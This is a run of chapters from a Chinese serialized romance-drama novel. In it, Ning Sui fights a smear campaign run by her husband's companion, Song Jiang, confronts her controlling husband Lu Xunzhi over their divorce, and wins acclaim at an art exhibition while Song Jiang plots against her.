宁穗连聊天软件都拉黑了他。 他烦躁地丢开手机,一双黑漆漆的眸子攫住她,“宋姜,路是自己选的,跪着也要走下去。” 宋姜脸颊火辣辣地疼,仿佛被打了一巴掌,她转身跑出去办公室。 陆勋之掀起眼皮看了一眼,便又垂了眸子,加了宁穗好友。 办公室房门被敲响,几个股东还是追了过来。 “勋之,这件事影响太恶劣了,今天开盘股价都跌了几个点,这可都是我们的钱。” “对啊,那个女人真是你老婆吗?你管管自己的女人,实在不行就换一个。” 砰! 陆勋之把手机重重放在桌上,发出闷响,众人的话头被堵回去。 第46章 你想要孩子,不用麻烦别人 知道陆勋之不高兴,但有胆大的还是继续说:“当初你非要娶一个无名之女,结婚之后,你同意隐婚,我们也就算了,这些年这个女人没露过面,相安无事。现在被大众知道还是以这种低俗的方式,我们总不能为你的私生活买单吧?” “对啊,反正也没人知道她是谁?就干脆离婚算了,再找个豪门家族联姻,你在陆家就彻底站稳脚跟。” 这几个股东都是站在陆勋之这边的,可以说是推心置腹地给他出主意。 但陆勋之脸色阴沉,“我的事,我自己会处理,这种话,我以后不想再听到。” …… 宁穗回到家的时候,已经天黑。 她又去了面馆凑合了一顿,刚走出来没多远,就发现身后总是有脚步声。 她快,对方也快,她慢,对方也慢。 宁穗经历上次被郑美婵绑架的事,已经对这种事,很警惕。 赶紧往路灯亮的地方跑,身后那人则快步追上来,直接拦住了她的去路。 “你要干什么?” 对方打量宁穗,看清她的长相,眼前瞬间一亮,“美女,你想找男人借种,我也可以啊。你看看我,身高体壮,J子质量高得很,我老婆已经生了三个孩子了。” 宁穗一愣,随即一股恶心涌上来,“滚!我已经报警了!” 对方吓了一跳,他也是偶然发现上午看到的八卦主角,就在自己小区住。 猥琐的想要占个便宜而已,被宁穗这么一说,立刻鼠窜离开。 宁穗气的胸口起伏,但也不敢在外边多待,转身往自己家跑。 手机响起,宁穗怕是工厂那边的人打电话,赶紧接通。 那边传来低沉带着哑的声音,“美女,重金买j子吗?我有很多啊,嘿嘿嘿。” 恶心的声音像是毒蛇爬上宁穗的后背,让她浑身发麻,她赶紧挂断电话。 害怕得赶紧往楼道里跑,刚跑进去,迎面撞上一个高大的身影,对方一把掐住她的腰,直接按进怀里。 宁穗慌了,连踢带踹,又骂又喊。 嘴巴却被对方一把捂住。 宁穗的眼泪倏地流下来,浑身都跟着颤抖。 耳边传来熟悉的声音,“是我。” 宁穗整个人僵住,怔怔看向对方,她这么一闹,楼道里的声控灯被唤醒。 昏黄的灯光映在男人的脸上,将他的五官照得更加立体。 是陆勋之。 宁穗重重松了一口气。 自从打算跟陆勋之离婚以后,她还是第一次见到他,如此庆幸。 男人看出她的不对劲,眉心拧起,“有人在追你?” 怕成这样。 宁穗是真的被吓到了。 如果只是招惹一些无耻胆小之徒,她尚且可以对付,要是碰上变态,后果不堪设想。 但宁穗镇定下来,推开陆勋之,快步上楼。 男人对她这种态度很是不满,“宁穗,连声谢谢都不说吗?” 宁穗顿住脚步,“谢谢。”语气里有些颤抖,惊魂未定。 她上楼开门进屋,门被人扒住。 “我有话跟你说。”陆勋之垂着眸子睨着她,脸色也没多好。 宁穗眼睫颤动,“就在这说。” 陆勋之眉心更紧了几分,“那个报道怎么回事?不给我个解释吗?” 宁穗愣住,随即明白过来他说的是,她和王习被曝光的那件事。 巨大的羞辱感,让宁穗气愤难当。 “没什么好解释的。”她和王习,清者自清。 可她这幅破罐子破摔的样子,俨然像是默认了两人的关系。 他在公司里腹背受敌,想来找她问个究竟,她居然这么敷衍。 陆勋之脸色瞬间沉下来,扒着门的手指,指节捏得发白,像是要将门捏碎一样。 “你还是我名义上的太太,你跟别的男人发生这种丑闻,我的脸往哪儿搁?” 说着,男人一把推开门,宁穗被震得后退,撞在玄关上。 随即男人推门而入,门在背后摔上。 他一把掐住宁穗的下巴,迫使她抬头看着自己,“陆太太,是我最近没有喂饱你?所以你才去找别人?你想要孩子,不用麻烦别人。” 说着凶狠的吻砸下来。 与其说是吻,更像是啃咬。 宁穗的嘴唇像是被刀子剌,钻心的疼,随之而来是甜腥味,在口腔中弥漫开。 “陆勋之!你浑蛋!”宁穗含含糊糊地骂,但男人的攻势更加凶猛。 宁穗被腾空抱起,扔在沙发上,后背硌得生疼。 她猛地起身,男人却先一步压下来。 啪! 男人被扇得偏过脸去,陆勋之舌尖抵了一下唇角,冷不丁笑出声。 他缓缓看向宁穗,女人的胸口气的剧烈起伏。 可他的怒火也不减反增,“你对王习也这么凶吗?嗯?” 宁穗瞳孔一缩,气急,“我和师兄清清白白,才没你这么龌龊!你都跟别人搞出孩子来了,你凭什么说我!” 陆勋之鼻腔里哼笑出声,“所以你也要跟别人搞出个孩子来,就为了报复我?” 宁穗觉得跟他讲不通,简直对牛弹琴,“我没你这么无聊!你赶紧跟我离婚,大家都轻松!” “轻松?”陆勋之额头抵住宁穗的,手紧紧捧住她的脸,“宁穗,你想轻松,早干嘛去了?你既然嫁给我,这辈子都不可能轻松,我和你,会一辈子纠缠!” 嘶啦! 宁穗听到自己衣服撕裂的声音,眼泪顺着眼角滑落。 陆勋之发了狠,一点都没悠着,可身下的人,突然就不挣扎了。 他愣了一下抬头看,宁穗紧紧闭着眼,嘴唇苍白,头以怪异的姿势歪在一边。 “宁穗!”陆勋之骂了一句,赶紧起身将她抱到床上。 陆治之来得很快,帮宁穗做了简单的检查,“嫂子是因为情绪过分激动,晕过去了。” “陆勋之……” 宁穗轻声叫,两人同时看过去。 “不要……我恨你……” 陆治之脸色有些微妙,看好戏的样子藏都不藏。 再看宁穗衣服都撕破了,刚才发生了什么不言而喻。 陆治之抬手掩唇,轻轻咳嗽,“那个,哥啊,你也悠着点。这是你老婆,是人,又不是玩具。” 陆勋之五官皱起,烦躁地说:“滚。” 犯完贱,陆治之到底是正经了脸色,“她身体现在真的很差,你还是带她去做个全身检查比较好。” 第47章 陆勋之消除的? 宁穗猛然醒来,下意识地去检查自己的衣物,已经换上了睡衣,她眼底一片灰色。 旁边传来男人的轻嗤声,“你那是什么表情?我又不是禽兽,你都晕倒了,还对你做什么?” 宁穗看都没看他,翻身又躺回去,背对着他,闷声说:“请你离开,不然我就报警。” “报什么警?”陆勋之语气也沉下来,“我和你还是夫妻,就算警察来了,也只当是家务事。” 宁穗有种无力感,整个人透着死气沉沉,直接闭上眼,当陆勋之不存在。 过了几分钟,陆勋之听到宁穗的呼吸变得绵长,下颌紧了紧,走出了房间。 等房间门关上,宁穗才缓缓睁开眼。 她不知道陆勋之在发什么神经。 看到她和王习的照片,他不应该气得跟她离婚吗? 现在这是做什么? 宁穗懒得想,陆勋之对她来说就是噩梦,少做一场是一场。 手机响起,是律师发来的信息。 【宁小姐,这个人你认识吗?】 【是她给营销号提供的素材,还付钱让他们一定多多转发。】 宁穗的心跳加速,点开照片放大,是一张监控里的截图。 但宁穗还是认了出来。 是白玲。 宋姜的闺蜜,也是她的主治医生。 宁穗眼底一片冰冷,她跟白玲又没什么过节,那白玲就是为人做事了。 想到刚才陆勋之对自己的羞辱,竟然是源于他的风流债,宁穗眼眶倏地热了,气的。 她深呼吸了几次压下那股愤怒,快速给律师发过去,【麻烦您帮我固定证据,我要起诉这个人。绝不调解。】 【好。我马上准备材料。】 …… 宁穗第二天出门的时候,在楼下就被人拦住。 她看到对方还有一瞬间的恍惚,随即想起来,冷了脸,“你来干什么?” 白玲面色慌张又愤怒,强压抑着情绪,“宁穗,我们和解吧。” 宁穗轻笑,“我拒绝。” 白玲愣住,没想到她这么强硬,但是这件事她必须要解决,不然她的工作都要保不住了。 她去找宋姜,宋姜也没办法,让她忍一忍来跟宁穗道歉。 宁穗是个软包子,会同意的。 但是现在情况完全不是按照宋姜预测发展,白玲有些慌。 “宁穗,这件事不是都解决了吗?网上那些痕迹,陆勋之都帮你彻底消除了,你还揪着我不放做什么?” 宁穗茫然地看向她,“陆勋之消除的?” 白玲冷笑,“你装什么装,你不就是吹吹枕边风,然后让陆勋之帮你办事吗?你也别太得意,陆勋之被股东们施压,他消除这些痕迹,也是为了他自己。” 宁穗却没兴趣听她说。 不管是陆勋之还是律师做的,对宁穗来说结果都一样,过程她不在乎。 “既然你这么硬气,那你就扛着吧。”宁穗绕过她离开。 反正她不会和解。 白玲慌了,又气又急,赶紧跟上她,“宁穗,你何必这么绝呢?我跟你又没有仇恨,就算了好不好?” 宁穗顿住步子,转头睨着她,“我跟你是没有仇怨。那你为什么要这么毁我清白?” 白玲脸色一白,支支吾吾的没说出什么。 宁穗笑了笑,“我替你回答吧,是宋姜让你做的,对不对?” 白玲眼神躲闪,语无伦次,“没、不是。”可这不确定的语气,欲盖弥彰。 明眼人一听,她就是为维护宋姜而撒谎。 宁穗点点头,“你这么护着人家,可你现在要去当替死鬼了。既然陆勋之这么厉害,宋姜怎么不帮你去求求陆勋之呢?还是说,你这个所谓的好闺蜜,在宋姜眼里就是个炮灰,一文不值,随时可以丢弃。” 宁穗的话说得狠,一句句砸在白玲的脸上,她的脸色一阵青一阵白。 她想反驳,但是宁穗的话就像是粒种子,瞬间在她的心里发芽。 钻得她又疼又痒。 她恍惚间,宁穗已经走到路边打上了车,快速离开。 白玲想去追,已经晚了。 手机响起,白玲看着屏幕上闪烁着宋姜的名字,眼底划过一丝阴狠。 接通电话,那头宋姜有些急,“怎么样?她答应和解没?” 白玲压了压脾气,好声好气地说:“没有。她不同意,姜姜,你得帮我啊。我要是工作黄了,我一家子谁来养。” 宋姜沉默了一会儿,说:“你再去她工作室找她,实在不行就闹大,道德绑架她。” 一股气直接冲上天灵盖,白玲瞬间点着了似的,“宋姜,我凭什么去求她啊?一个弃妇而已。你就不能帮我跟陆勋之说说情?他只要帮忙,宁穗算什么?” 宋姜语气也不好,“这件事我怎么跟勋之说?说出去,我成什么人了?” 白玲愣住,宋姜为了自己的名声,完全不管她的死活。 她也破罐子破摔了,“宋姜,你怀孕的事,是怎么来的,你也不想被人知道吧?” 宋姜懵了,随即气得声音发抖,“你威胁我?” “咱们是一根绳上的蚂蚱,我只是提醒你而已。” …… 宁穗上了车,给律师发了一条过去,【张律师,网上那些留言,是您找人消除的吗?】 那边倒是回得很快,【我还没来得及出手,就有人处理了,我还以为是你自己做的。】 宁穗沉默下来。 所以真的是陆勋之? 可那又怎样,他也是为了他自己在股东心中的地位,断然不是为了她。 宁穗调出一段录音,正是刚才她和白玲的对话。 她把陆勋之从黑名单里放出来,转手发了过去。 另一头,陆氏总裁办公室内,陆勋之的脸色一直很阴沉。 “你们都是陆氏的老员工,做到这个位置,居然做出这么垃圾的方案,你们脸不红吗?” 唐桓和中层们大气都不敢喘一声。 下一秒陆勋之的手机响起,他一把拿起,上面却显示是宁穗发来的音频文件。 他的脸色缓了缓,摆摆手,“你们都出去吧,方案重新做,明早我要看到。” 大家都松了一口气,走出去办公室还不忘跟唐桓打听。 “总裁这是怎么了?是不是因为太太……” 他只说了半句,但是这件事大家都心照不宣。 唐桓不悦,“别瞎说,总裁和太太感情很好。” 昨天又在宁穗家守了一晚上,应该是感情好吧。 唐桓觉得自己说得没错。 陆勋之等所有人出去,才点开那个音频文件,嘴角挂起淡淡的弧度。 可录音听完之后,陆勋之的脸色再次沉下来。 他快速编辑了一句话过去质问宁穗什么意思。 Duang! 红色的叹号再次亮起。 宁穗发完自己想发的,又拉黑了陆勋之。 第48章 我求你了好不好? 唐佳笑拉着宁穗跟工厂那边对接完出来。 宁穗看了看手机,又拉黑了几个号码。 “你手机怎么回事?怎么一直有骚扰电话进来?” 宁穗拧眉,“上次我和师兄的照片被人放到网上编排,就总有骚扰电话进来。” 说的都是要给她捐j的不堪入耳的龌龊话。 她这个号码快要废了。 唐佳笑也生气,“肯定是宋姜捣的鬼,真是阴魂不散。可惜没有直接证据,不然连她一起告。” 宁穗拍拍她的手,“多行不义必自毙,我先告了白玲再说。” “对,张律师不是说了吗?白玲的犯罪证据很全,肯定能告下来。” 宁穗去周家的美术馆,找了桑甜,把自己的展览规划,给桑甜看。 桑甜很满意,“你这个系列作品,我会给你一个专门展区做,到时候肯定会大放异彩。” 这段日子来太多坏消息,但听到桑甜这句话,宁穗露出真诚的笑意。 “谢谢,我一定会好好准备的。” 两人约了一起去吃午饭,到了吃饭的地方,两人选了大厅坐。 桑甜点完餐起身去打电话。 宁穗安静看着窗外,享受难得晴天和阳光。 “这么巧?”一道熟悉的女声打断了宁穗的安静。 她眉心微皱,但还是转过头来看向对方。 宋姜表情有些不自然,“能聊两句吗?” 宁穗弯唇,“没什么好聊的。” 宋姜被她的话怼脸色一黑,“宁穗,做人不要太绝。” “真是笑话。”宁穗笑着看着她,眼底没有丝毫笑意,“你让白玲发那些文章的时候,怎么没想到,做人不太绝?” “宁穗,这件事我代表白玲跟你道歉好不好?”宋姜突然低声下气,整个人像是被抽去的脊椎骨。 宁穗冷冷看着她,“宋姜,你是幕后主使,却说替白玲求情,你脸皮可真厚。” “你到底怎么才能放过白玲?” “你去自首,说事情是你主使的。”宁穗直接抛出重磅。 炸得宋姜整个人摇摇欲坠,脸色瞬间纸白。 这可怜巴巴的样子,宁穗可不吃。 “你舍不得自己的名声,那就用白玲的换。你走吧,别打扰我用餐。” 宋姜却不肯走,还上前拉扯宁穗的衣袖,“你到底怎么才肯放过我?宁穗,我也很难,我被郑美婵逼得人不人,鬼不鬼,我也只是为了活着。” 被郑美婵逼? 真是笑话。 两人之前不是好的恨不得穿一条裤子? 宋姜嘴里真是一句实话都没有。 宁穗冷冷地撤回袖子,“宋姜,你自己选的路,自己负责,怪不得别人。” 这句话就像是一根针,猛地扎进宋姜的胸口。 好熟悉啊,宋姜满眼绝望,仿佛看到了陆勋之。 那种嫌恶和冷漠。 她顺着宁穗抽回衣袖的力道,噗通一声跪在宁穗跟前。 她穿着短裙,膝盖直接撞到地面,骨头磕碰的声音,有些骇人。 宁穗随即皱眉,“你干什么?” “我求你了好不好?”宋姜声泪俱下,看上去更加可怜。 她余光瞥见什么,随即上前抱住宁穗的大腿,“求你了,放过白玲好不好?她是我最好的朋友,我不能看着她受罪。” 宁穗彻底烦了,抬手拉扯她的手腕,可对方死死抱住她的腿。 刚做的美甲尖利非常,直接抠进宁穗的肉里,很是疼。 她只能加大力气,宋姜疼得五官皱在一起。 “松手!”一道男人突然砸下来。 宁穗浑身一僵,但也只一瞬,她就笑了。 在别人看不到的角度,宁穗迎上了宋姜恶毒的眼神。 她是故意的。 陆勋之一只手拉扯宁穗的手腕,卸了她的力,随即将宋姜提起来,拉坐到旁边。 “你没事吧?”陆勋之的声音硬邦邦的,甚至有些严厉。 宋姜缩着脖子,不敢说话,只摇了摇头。 陆勋之转而去看宁穗。 宁穗手腕上红彤彤了一片,她正垂眸轻轻揉着。 陆勋之眉心皱起,刚才他没有用力,怎么会捏这么红? 宁穗最近,好像很容易受伤似的。 陆勋之刚要上前,突然宋姜抱住他的手臂,哭哭啼啼,“勋之,你帮我跟宁穗说说好话,好不好?白玲知道错了,但我真的不能看着我最好的朋友丢掉工作。” 说完,她又去求宁穗,“宁穗,你说你想要什么,我都会满足你好不好?求求你了,真的求求你了。” “就为了白玲,你给她下跪?”陆勋之垂眸睨着宋姜,声音透着冷涔。 宋姜猛摇头,“是我要下跪的,跟宁穗没关系。只要她肯放过白玲,我怎么都没事。” 陆勋之的眼底闪过一丝异样,唇角抿成了直线。 宋姜悄悄观察他,并没有从他眼中看出愤怒,看宁穗的目光甚至有些复杂。 她心里咯噔一声。 随即宁穗缓缓站起身,表情冷漠,语气没有任何起伏,“陆勋之,我发给你的录音听过了吧?” 宋姜猛地抬头,什么录音? 她心里忍不住颤抖。 陆勋之缓缓收回手臂,看向宁穗,沉默地看了她一会儿,“你想要什么补偿,我来承担,这件事就这么算了。” 宋姜心里的石头瞬间落地,她已经露出胜利者的笑容。 可宁穗的脸上,冷漠中又多了一分失望。 明明知道陆勋之会无条件地向着宋姜,可听到他这句话的时候,还是会忍不住失望。 她眼底泛起泪花,扯唇笑笑,那笑让陆勋之眼神一晃。 他心里莫名发慌。 宁穗,“可以,那我欠你的五百万,一笔勾销。再给我一千万赔偿金,你现在就去跟我领离婚证。” 宋姜心里乐开了花,这简直是意外之喜。 这种时候,宁穗不说软话,居然还狮子大开口,陆勋之一定会生气。 可下一秒她笑不出来,听到陆勋之说:“五百万可以勾销,一千万赔偿金我也可以给你。但是离婚,你休想。” 宋姜有些急,乱了分寸,“勋之,你终于可以脱离苦海了,谁知道她跟王习之间到底有没有问题啊。她这么着急离婚不就是要跟王习在一起吗?” 宁穗倏地抬手要去扇宋姜,居然还往她身上泼脏水。 手在半空,被陆勋之一把抓住,她拉着宁穗离开餐厅,“别得寸进尺,宁穗!” “你护着别的女人,还让我别得寸进尺。”宁穗嘴角笑着,眼底却是讽刺和凄凉,“陆勋之,你的心让狗吃了吗?” 陆勋之被她眼底的情绪刺得心痛,难得软了语气,“还有六个月,你等一等都不行吗?六个月之后,我会给你一个答案。好不好?” 第49章 确认了配型 宁穗一愣,随即笑了,“你是想拖着这件事热度没有了,就可以帮宋姜解决了?不离婚,那我就继续告。她不是还想在周家美术馆的展会上扬名吗?我看她怎么扬名。” “宁穗!”陆勋之眼尾猩红,“六个月都不能等吗?” 六个月? 宁穗笑出了眼泪,六个月后她还不知道是死是活,凭什么给他们机会这样羞辱她。 “不能。”宁穗一字一顿地拒绝,“陆勋之,我现在就跟你分居,两年后,我会起诉离婚。我跟你,完了。” “宁穗!”陆勋之上前拉扯她的胳膊。 啪! 宁穗这一巴掌用尽了力气,陆勋之的侧脸瞬间就红了。 她胸口剧烈起伏,呼吸急促到眼前发黑,她晃了晃,男人将她抱住。 宁穗挣扎地推开他,颤抖的指尖,指着他,“陆勋之,我恨你!” 陆勋之这次心里慌了,他感觉有什么重要的东西,正在悄悄离他而去。 他伸手想抓住什么,但宁穗快速离开,他抓了一手空气。 他抬步上前,身后传来孱弱的声音,“勋之……” 陆勋之回头,宋姜靠在墙边,脸色灰白,看上去非常不好,两只手死死压着肚子,身下的裙子已经染了红。 陆勋之瞳孔微缩赶紧上前,将人抱起快速离开。 不远处宁穗看着两人离开,一脸冷漠地回到餐厅。 桑甜刚才打完电话回来,就看到陆勋之抱着宋姜离开,这会儿看到宁穗,小心地打量她,“没事吧?” 宁穗摇头,有些尴尬,“让你看笑话了。” “别这么说,这都是他们的错。跟你没关系。”桑甜顿了顿,“我倒是觉得,比起宋姜,陆勋之好像更担心她肚子里的孩子。” 桑甜压低了声音,“那个孩子会不会是别人的。” 毕竟宁穗又不是不能生,如果陆勋之对宋姜并没有什么感情的话,只是想要个孩子,跟宁穗要,不是更符合常理吗? 宁穗脑海里冒出陆勋之说过的话,那个孩子不是他的。 但是谁的孩子,能让陆勋之这么在乎呢? 陆家跟陆勋之关系近的,就一个陆治之,其他孩子不是纨绔子弟,就是年龄差大,跟陆勋之很少来往。 难道是陆勋之父亲的? 那更不可能。 郑美婵心思这么狭隘,怎么可能容得下一个小三的孩子。 种种可能都想过,宁穗还是觉得,陆勋之是在撒谎。 只不过不想她对宋姜太敌对而已。 …… 第二天,宁穗收到了唐桓的消息。 一条是五百万欠款的解除协议,另一个是一千万现金到账,标注了无偿赠与。 宁穗没想到陆勋之真的做到了,心里自嘲,陆勋之为了宋姜还真是什么都愿意做。 她发信息问唐桓,【陆勋之什么时候跟我离婚?】 唐桓那边一直显示正在输入,好半天才回,【太太,我也不知道。】 “……” 又跟她打太极。 没所谓,反正现在开始她就跟陆勋之分居,两年以后,向法院申请离婚就行。 想到这,宁穗心有些发沉。 合适的骨髓捐献者还没找到,还有五个月,她要是没找到捐献者。 或者手术失败,也许就死了。 也好,不管怎么说,陆勋之都不能困住她。 怔愣间,裴斯年打了电话过来。 一接通,宁穗就听到他的声音透着兴奋,“捐献者找到了,对方已经同意做手术。” 宁穗先是一愣,随即热泪盈眶。 这段日子太难,她终于听到一个好消息。 “谢谢裴医生。” 裴斯年听出她的哽咽,“宁穗,一切都好起来了。只要能顺利完成手术,你一定能好起来。我向你保证。” 宁穗知道,作为医生,裴斯年不该跟她说这种保证的话。 他是作为朋友,想给她一点信心,“谢谢你,裴医生,谢谢!” “好了,别哭了。这段日子一定要好好保养身体,保持心情愉悦。我会把注意事项清单发给你。你一定要听话,按照清单做,听见没?” 裴斯年忽而又严厉,但宁穗心里很高兴,“好,我听您的。” 心里的大石头,一下子放下两块。 宁穗到美术馆的时候,脸上还挂着淡淡的笑意。 以至于遇到宋姜和陆勋之的时候,她都没有针锋相对,而是淡淡笑着过去,仿佛没有看到他们。 陆勋之被她的笑容晃了一下。 已经很久没有见过宁穗这么笑。 确切地说,这两年几乎都没见过。 刚结婚的时候,宁穗一直都是这样笑的。 陆勋之心里某块地方有些塌陷。 “勋之,我们走吧?”宋姜看到陆勋之的眼睛仿佛长在宁穗身上,心中的怨毒快要爆出来。 可她只能掩盖住这些怨毒的心思,表现出温柔的样子。 陆勋之缓慢地收回视线,但也没看宋姜,跨步往前走。 转眼到了展览的日子。 唐佳笑来帮宁穗布展,“桑甜太仗义了,给咱们选的这个地方太合适了。” 前方有一个古风的屏风,屏风是纱织的,半透明。 绕过屏风就能看到宁穗他们的展品,有种犹抱琵琶半遮面的感觉。 虽然位置不是最好的,但是这个设计,深得宁穗的喜欢。 “是啊,我们赶紧布展吧,今天的参观量肯定是最大的。” 两人赶紧开始准备。 展馆开放,宁穗在这边看着,唐佳笑好奇,去那边转了一圈。 回来的时候脸色就不太好。 “怎么了?”宁穗问。 唐佳笑赌气道,“什么玩意。她能拿到C位还不是靠陆勋之,就她做的那什么三流作品,连给你提鞋都不配。” 宁穗立刻知道她说的是谁,随即无所谓地笑笑,“桑甜跟我说过展位安排,这块地方最适合我们的展品。” 反而C位并不适合她的展品,会过于外放,失去了古风的内敛美。 果然,没一会儿,从C位看完的游客们,走到这边来,立刻被这个设计惊艳到。 纷纷留下驻足,没一会儿就里三层外三层了,还叫来了保安进行疏导。 宁穗看到人群后边有一个坐着轮椅的姑娘,头上戴着帽子,脸色苍白,但一直想看作品,伸长了脖子。 宁穗走过去蹲下,“我帮你找一个好一点的位置吧。” 姑娘眼睛瞬间亮了亮,“谢谢姐姐。” 第50章 宁穗,我要看着你死 宁穗示意推着女孩的助理,把女孩推到一个角落。 虽然这里不是最佳观赏位,但是人少,而且能够看到不一样的角度。 “哇,那个水晶壶透光之后,好像仙境啊!”女孩兴奋地说,“姐姐,你是设计师吗?真的好厉害!” 设计师在被人这么直白夸奖的时候,心情都是好的。 宁穗话也多了起来,“我在布展的时候,特地选了这样一个位置,给有缘人看的。” 她蹲下来看着女孩,“你喜欢就好。” 女孩笑着笑着眼底含泪,“我要是没生病,也想学画画的。其实我已经考上美大,但是因为病了就休学了。” 她眼底闪过一丝落寞,不知道为什么,感觉宁穗很有亲近感,就想多说几句。 “姐姐,我治疗过,但是效果不好,在等骨髓移植,要是这次手术不成功,我就……” 她后边的话没说,但是大家都听懂了。 宁穗心里有所触动,看到女孩的打扮时,她就猜到几分,没想到竟然跟她是一样的病。 但比她更严重。 宁穗看到她仿佛看到未来的自己,心里有些痛。 她动情地抚上女孩干瘦的手背,“会好起来的。” 女孩似是得到很大的鼓舞,“谢谢姐姐。” “瑶瑶!”一个中年男人找过来,“你怎么跑到这了,你妈妈还在找你。” 瑶瑶吐了下舌头,是年轻女孩独有的娇俏,“我对这个内画很感兴趣,就过来了。对不起,爸爸。” “没事,快回去吧。”男人对宁穗微微点头,算是感谢。 宁穗起身,也微笑回应,随即她想到什么,拿了一个小小的工艺品,递给瑶瑶,“祝你早日康复。” 女孩笑弯了眼,“谢谢姐姐。” 宁穗的嘴角也不由地扬了起来,“不客气。” 在光影的勾勒下,她仿佛镀上了一层金光。 不远处的陆勋之看在眼里,心里荡漾起异样的情绪。 一旁的宋姜眼底闪过狠毒,随即上前,“勋之,陈瑶骨髓找到配型的事,正好趁这个机会跟陈总说吧。” 宋姜的话将陆勋之拉回到现实。 他点点头,走过去迎上了陈斌和陈瑶。 宁穗看到他和宋姜竟然认识那个女孩的父亲,脸色淡了淡。 在男人看过来的时候,宁穗故意转身,没去看他。 陆勋之眼底闪过一丝落寞。 “陆总,谢谢,没想到你们这么快就帮我女孩找到配型。瑶瑶,快谢谢陆总和宋小姐。” 陈瑶乖巧地笑,“谢谢陆总,谢谢宋小姐。” 陆勋之微微点头,想到刚才宁穗看陈瑶的眼神,很温柔,他的语气也不由得软了几分,“别客气。这次多亏了宋姜。” 她提供了一个名单,里面很多都是跟陈瑶合适的配型,然后选了一个最合适的。 都是人精,陈斌自然知道,宋姜就是为了陆勋之,后者也是为了前者。 不然也不会拉他父女俩来宋姜的展会,这是来捧场的。 陈斌当场就拍下了宋姜所有的展品。 在展览的第一天,就打响了开门红。 晚上开总结会的时候,宋姜坐得笔直。 桑甜总结道,“今天第一天就有这么好的成绩,是大家共同努力的结果。今天宋姜的作品全被拍出。我们鼓掌恭喜。” “牛什么,不就是背后有金主?” “行了,小点声,小心人家一个不乐意,给你业内封杀。” 大家虽然对宋姜不满意,但还是都跟着鼓掌。 桑甜继续说:“今天还有一匹黑马,就是宁穗。她的作品直接被媒体报道,多家平台转发,有几件展品,已经有预约,说是要等我们展览之后,放到国内巡展。” 这个消息一出,会议室里瞬间鸦雀无声,随即是热烈的掌声。 比刚才给宋姜的掌声还要热烈好几倍。 “宁穗,你好厉害啊!” “我就说宁穗的作品能行!” “天啊,巡展,那不是要出名了。这可比卖出去更厉害啊!” 宁穗也有些懵,这个消息桑甜没有提前告诉她。 她看向桑甜的时候,对方微微笑着点头,显然也是想给她一个惊喜。 宋姜也懵了,看着众人都涌上去恭喜宁穗。 这比刚才的敷衍恭喜她,可真诚多了。 宋姜的银牙咬碎。 她当然知道全国巡展的意义,以宁穗的实力,出名是早晚的事。 可凭什么? 宋姜暗暗咬牙,发了一条信息出去,【陈总,我看贵千金的身体不能耽误,还是尽快安排手术吧。】 陈斌秒回,【好,谢谢宋小姐。】 宋姜收起手机,冷眼看着宁穗,心里哼笑,宁穗,我要看着你死。 …… 展览历经半个月,成功举办。 百分之八十的展品卖了出去,还有包括宁穗的作品在内,百分之二十的会进行全国巡展。 桑甜特意定了城郊的度假村,带大家放松三天。 第一天的庆功宴上,大家都围着宁穗转,宋姜就像是背景板。 她在阴暗的角落,阴狠地看着宁穗。 宁穗不能喝酒,她现在的身体状况,最多喝一点果汁,但大家都不在意。 毕竟有实力,长得好看,人又随和,谁会不喜欢? 有一个人要绕过去跟宁穗说话,碰到了宋姜。 她像是终于找到了发泄的出口,不客气地说:“你着急去舔什么?没看那么多人吗?你排得上。” 被她骂的是一个实习生,平时就没少受宋姜的气。 这会儿喝了点酒,人也豁出去了,“宋姜,你牛什么?你倒是想让我舔,你也得有这个实力啊!” 这句话直接踩到宋姜的雷点上。 哗啦! 宋姜手里的热汤直接泼在对方身上。 实习生头上挂着蛋花,十分狼狈,也起了脾气,“宋姜!你有病吧!” 场面一片混乱,所有人的注意力都被吸引过来。 宁穗也跟过去劝,这个实习生平时跟宁穗关系挺好的。 她赶紧拿了毛巾给实习生,“去洗洗吧,别着凉。” 别人也劝,“是啊,她怀孕了,脾气波动,你别跟她一般见识。” “万一一会儿人家说动了胎气,迁怒于你,可就麻烦了。” 话里话外都是在讽刺宋姜,她平时没少拿自己怀孕说事,欺负人。 宋姜气的脸色一阵红一阵白,指着宁穗说:“你就是这么拉帮结派欺负我!我要告诉勋之。” 话音刚落,包厢门被推开。 两道高大的身影走进来。 “呦,赶集呢?这么热闹。” 第51章 最多六个月,我会给你一个交 一看见来人,大家都沉默了。 周南昭看了一圈,视线回到陆勋之脸上,“大家都怕你呢。” 众人,“……”是怕你俩。 宁穗全当没看见陆勋之,而是拉了实习生出去,“我带你去洗洗吧。” 两人走到门口,宁穗感受到两道视线,但她没看对方,直接走出房间。 刚走到门口,就被一道力道拉回去,“别走!” 宁穗回头迎上宋姜的目光,眉心微皱,“你放开我。” “我不放。”宋姜眼圈红红,看向陆勋之,“她拉帮结派欺负我,勋之,你要给我做主。” “我欺负你又不是一天两天了,你现在才告状吗?”宁穗冷笑,看向陆勋之,“陆总,你打算怎么给她做主?” 男人唇角抿成直线,视线直愣愣地凝住宁穗。 一丝也没分给宋姜。 气氛一下子僵持下来。 大家都屏息不敢出声。 但氛围很是奇怪。 陆勋之一直都是宋姜的靠山,现在却没有说宁穗什么。 反而一直看着宁穗,那眼神也不像是要算账,倒有几分幽怨。 “得了,别看热闹了,看多了不怕做噩梦啊?”周南昭几句话,就让所有人退出去。 房间只剩下五个人。 桑甜上前想拦住陆勋之,但被周南昭拉住胳膊,他从后贴到她耳朵边,“别管人家的家事。” 女人斜睨着他,冷淡道,“我不能看着朋友挨欺负。” 周南昭看到她眸底的冷淡,嘴角的笑意淡了几分,“他不敢。” 不敢?简直笑话。 都欺负宁穗多少回了。 但周南昭没给桑甜说话的机会,直接把人拉走了。 “宋姜,你先回房间。”陆勋之的话让宋姜一愣。 “勋之……” “不是让我帮你做主?”陆勋之余光瞥她。 宋姜还想说什么,但是没敢说,只冷冷瞪了宁穗一眼,便气哄哄地走了。 房间里一下子安静下来。 宁穗冷淡地看向陆勋之,“陆总想怎么处理我?” 这话说得过于冷漠,两人之间一下子对立起来。 陆勋之的眉心皱了皱,语气倒是没什么起伏,“钱收到了?” 宁穗一顿,随即冷不丁笑出声,“那个钱,是赔偿她给我造谣的损失,可不是一劳永逸。她要是招惹我,我还是不会放过她。” 她都懒得解释刚才的事。 反正在陆勋之那里,宋姜说什么,就是什么。 无论宁穗解释与否,都不影响陆勋之向着宋姜。 “宁穗,一定要这么说话?”陆勋之语气有些不爽,“你以前不是这样。” “对,我以前傻,以为自己能改变你。”宁穗自嘲轻笑,“以前的宁穗已经死了,一刀刀被你杀死了。” 